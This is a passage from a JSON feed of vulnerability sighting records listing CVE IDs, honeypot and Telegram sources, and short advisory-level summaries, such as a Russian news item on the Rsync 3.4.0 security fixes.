"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-27)", "content": "", "creation_timestamp": "2026-08-28T10:00:04.795353Z"}, {"uuid": "91cf9709-d0b7-4ff7-a6f3-4e21ba663a15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-27)", "content": "", "creation_timestamp": "2026-08-28T10:00:08.743655Z"}, {"uuid": "8a0e543a-807d-4fcd-b6b0-c94043cb737f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-26)", "content": "", "creation_timestamp": "2026-08-27T10:00:03.637475Z"}, {"uuid": "3c4207dd-0b1f-45a0-9d1f-74e9288d8edb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "https://t.me/itpgchannel/2609", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0440\u0435\u043b\u0438\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync 3.4.0, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n. . .\n\u0414\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043e \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Rsync 3.4.0 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n. . .\nCVE-2024-12084 - \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\nCVE-2024-12085 - \u0443\u0442\u0435\u0447\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430 (\u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u0443 \u0437\u0430 \u0440\u0430\u0437) \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430.\n\u0412 Rsync 3.4.0 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\nhttps://www.opennet.ru/opennews/art.shtml?num=62557\n\nRsync contains six vulnerabilities\nhttps://kb.cert.org/vuls/id/952657\n\n\u0417\u042b \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0442\u0432\u0438\u0442 \u0441\u043e \u0441\u043a\u0440\u0438\u043d\u0430\nhttps://x.com/KirillKorinsky/status/1879265433658020062", "creation_timestamp": "2026-07-30T00:00:30.721985Z"}, {"uuid": "9b915da8-f56a-4575-bf57-0b6ee215b711", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "published-proof-of-concept", "source": "https://t.me/itpgchannel/2609", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0440\u0435\u043b\u0438\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync 3.4.0, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n. . .\n\u0414\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043e \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Rsync 3.4.0 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n. . .\nCVE-2024-12084 - \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\nCVE-2024-12085 - \u0443\u0442\u0435\u0447\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430 (\u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u0443 \u0437\u0430 \u0440\u0430\u0437) \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430.\n\u0412 Rsync 3.4.0 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\nhttps://www.opennet.ru/opennews/art.shtml?num=62557\n\nRsync contains six vulnerabilities\nhttps://kb.cert.org/vuls/id/952657\n\n\u0417\u042b \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0442\u0432\u0438\u0442 \u0441\u043e \u0441\u043a\u0440\u0438\u043d\u0430\nhttps://x.com/KirillKorinsky/status/1879265433658020062", "creation_timestamp": "2026-07-30T00:00:30.767031Z"}, {"uuid": "81392b47-a93c-4d9a-a482-c06bae365010", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-27)", "content": "", "creation_timestamp": "2026-08-28T10:15:04.211228Z"}, {"uuid": "90e1400b-b3dd-4cc0-ac6d-569cc3a4a26c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://t.me/reverseame/5332", "content": "CVE-2024-12718: Path Escape via Python\u2019s tarfile Extraction Filters #JavaScript #Cookies #Enable #WebsiteAccess #BrowserSettings https://www.upwind.io/feed/cve-2024-12718-path-escape-via-pythons-tarfile-extraction-filters", "creation_timestamp": "2026-07-30T00:02:13.517616Z"}, {"uuid": "832953eb-919b-4de4-98e4-a947ec88d858", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-26)", "content": "", "creation_timestamp": "2026-08-27T10:15:04.671950Z"}, {"uuid": "0967deb9-284c-4ec5-baac-9234fe6a806e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-31)", "content": "", "creation_timestamp": "2026-09-01T10:15:04.801278Z"}, {"uuid": "3d7da325-b157-4a95-8b05-9dc4155df0b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1207", "type": "seen", "source": "https://t.me/hacking_Attack/131048", "content": "Understanding CVE-2024\u20131207: Critical SQL Injection Vulnerability in WordPress Booking Calendar PluginContinue reading on System Weakness \u00bb (https://systemweakness.com/cve-2024-1207-a-deep-dive-into-wordpress-plugin-vulnerability-3b12891813e6?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:40.655286Z"}, {"uuid": "0f5d42ee-f3da-4479-ae78-70c94b4d4666", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://t.me/hacking_Attack/149409", "content": "CVE-2024\u201312711: Vulnerability in RSVP and Event Management Plugin\nhttps://medium.com/@wiretor/cve-2024-12711-vulnerability-in-rsvp-and-event-management-plugin-2a0b374807e1?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:27.468114Z"}, {"uuid": "77fd739b-119b-4bb9-bec1-3cfa42c861ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://t.me/hacking_Attack/149411", "content": "WIRE TOR\u200a\u2014\u200aThe Ethical Hacking ServicesContinue reading on Medium \u00bb (https://medium.com/@wiretor/cve-2024-12711-vulnerability-in-rsvp-and-event-management-plugin-2a0b374807e1?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:27.504534Z"}, {"uuid": "6602a084-bc65-43ef-9a52-91de2710a416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/hacking_Attack/148785", "content": "Critical Alert: CVE-2024\u201312356 Command Injection Vulnerability in BeyondTrust RS & PRA\nhttps://medium.com/@wiretor/critical-alert-cve-2024-12356-command-injection-vulnerability-in-beyondtrust-rs-pra-6e8df2f63471?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:28.044979Z"}, {"uuid": "dfc0981f-a484-4388-ba3a-5c9ee633d5cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/hacking_Attack/148787", "content": "WIRE TOR\u200a\u2014\u200aThe Ethical Hacking ServicesContinue reading on Medium \u00bb (https://medium.com/@wiretor/critical-alert-cve-2024-12356-command-injection-vulnerability-in-beyondtrust-rs-pra-6e8df2f63471?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:28.093434Z"}, {"uuid": "64398bb7-74de-4844-a083-6f303ea6fda0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1207", "type": "seen", "source": "https://t.me/hacking_Attack/131047", "content": "CVE-2024\u20131207: A Deep Dive into WordPress Plugin Vulnerability\nhttps://systemweakness.com/cve-2024-1207-a-deep-dive-into-wordpress-plugin-vulnerability-3b12891813e6?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:40.608160Z"}, {"uuid": "8bad812d-1388-4df2-bc70-2e2cda1c8699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/hacking_Attack/148785", "content": "Critical Alert: CVE-2024\u201312356 Command Injection Vulnerability in BeyondTrust RS & PRA\nhttps://medium.com/@wiretor/critical-alert-cve-2024-12356-command-injection-vulnerability-in-beyondtrust-rs-pra-6e8df2f63471?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:46.439546Z"}, {"uuid": "49939091-6c89-4817-a9aa-45d06caac777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/hacking_Attack/148787", "content": "WIRE TOR\u200a\u2014\u200aThe Ethical Hacking ServicesContinue reading on Medium \u00bb (https://medium.com/@wiretor/critical-alert-cve-2024-12356-command-injection-vulnerability-in-beyondtrust-rs-pra-6e8df2f63471?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:46.492165Z"}, {"uuid": "db4f21b0-3f8f-444e-9267-47152b9b598a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://t.me/hacking_Attack/149409", "content": "CVE-2024\u201312711: Vulnerability in RSVP and Event Management Plugin\nhttps://medium.com/@wiretor/cve-2024-12711-vulnerability-in-rsvp-and-event-management-plugin-2a0b374807e1?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:45.789074Z"}, {"uuid": "ee7d02ce-50c5-4355-acb8-c5f27116ff17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://t.me/hacking_Attack/149411", "content": "WIRE TOR\u200a\u2014\u200aThe Ethical Hacking ServicesContinue reading on Medium \u00bb (https://medium.com/@wiretor/cve-2024-12711-vulnerability-in-rsvp-and-event-management-plugin-2a0b374807e1?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:45.838513Z"}, {"uuid": "4a26716b-6253-4abd-8b0a-11aece8a8220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1207", "type": "seen", "source": "https://t.me/hacking_Attack/131047", "content": "CVE-2024\u20131207: A Deep Dive into WordPress Plugin Vulnerability\nhttps://systemweakness.com/cve-2024-1207-a-deep-dive-into-wordpress-plugin-vulnerability-3b12891813e6?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:59.858679Z"}, {"uuid": "6efc5ff2-41ff-44e4-93dc-59500065fca7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1207", "type": "seen", "source": "https://t.me/hacking_Attack/131048", "content": "Understanding CVE-2024\u20131207: Critical SQL Injection Vulnerability in WordPress Booking Calendar PluginContinue reading on System Weakness \u00bb (https://systemweakness.com/cve-2024-1207-a-deep-dive-into-wordpress-plugin-vulnerability-3b12891813e6?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:59.907488Z"}, {"uuid": "aecffb5e-38d1-4f92-b71a-017ce9bd01c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-01)", "content": "", "creation_timestamp": "2026-09-02T10:00:26.593574Z"}, {"uuid": "df5d44ca-c293-4efb-864b-57b176afa450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-01)", "content": "", "creation_timestamp": "2026-09-02T10:15:05.795388Z"}, {"uuid": "42eec4ef-2b2e-4b50-a8e7-ee4141cc9ebf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-02)", "content": "", "creation_timestamp": "2026-09-03T10:00:03.733576Z"}, {"uuid": "3a9db75a-41a1-4e2d-9028-097a9489ad1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-02)", "content": "", "creation_timestamp": "2026-09-03T10:15:03.294362Z"}, {"uuid": "097366e1-2310-4db5-a7d2-a1956b6181a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-02)", "content": "", "creation_timestamp": "2026-09-03T10:15:15.861043Z"}, {"uuid": "85ab1633-cda9-402d-957b-467c85e1c18f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/149411", "content": "WIRE TOR\u200a\u2014\u200aThe Ethical Hacking ServicesContinue reading on Medium \u00bb (https://medium.com/@wiretor/cve-2024-12711-vulnerability-in-rsvp-and-event-management-plugin-2a0b374807e1?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T14:00:04.637328Z"}, {"uuid": "df317f5c-97a8-4d52-ba65-be7795d76d44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/149409", "content": "CVE-2024\u201312711: Vulnerability in RSVP and Event Management Plugin\nhttps://medium.com/@wiretor/cve-2024-12711-vulnerability-in-rsvp-and-event-management-plugin-2a0b374807e1?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T14:00:04.689368Z"}, {"uuid": "c40d943d-2aef-436a-b33d-65a7d8555feb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/148787", "content": "WIRE TOR\u200a\u2014\u200aThe Ethical Hacking ServicesContinue reading on Medium \u00bb (https://medium.com/@wiretor/critical-alert-cve-2024-12356-command-injection-vulnerability-in-beyondtrust-rs-pra-6e8df2f63471?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T15:00:05.518466Z"}, {"uuid": "9e251f5d-0540-4e3a-bf50-58b731322ca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 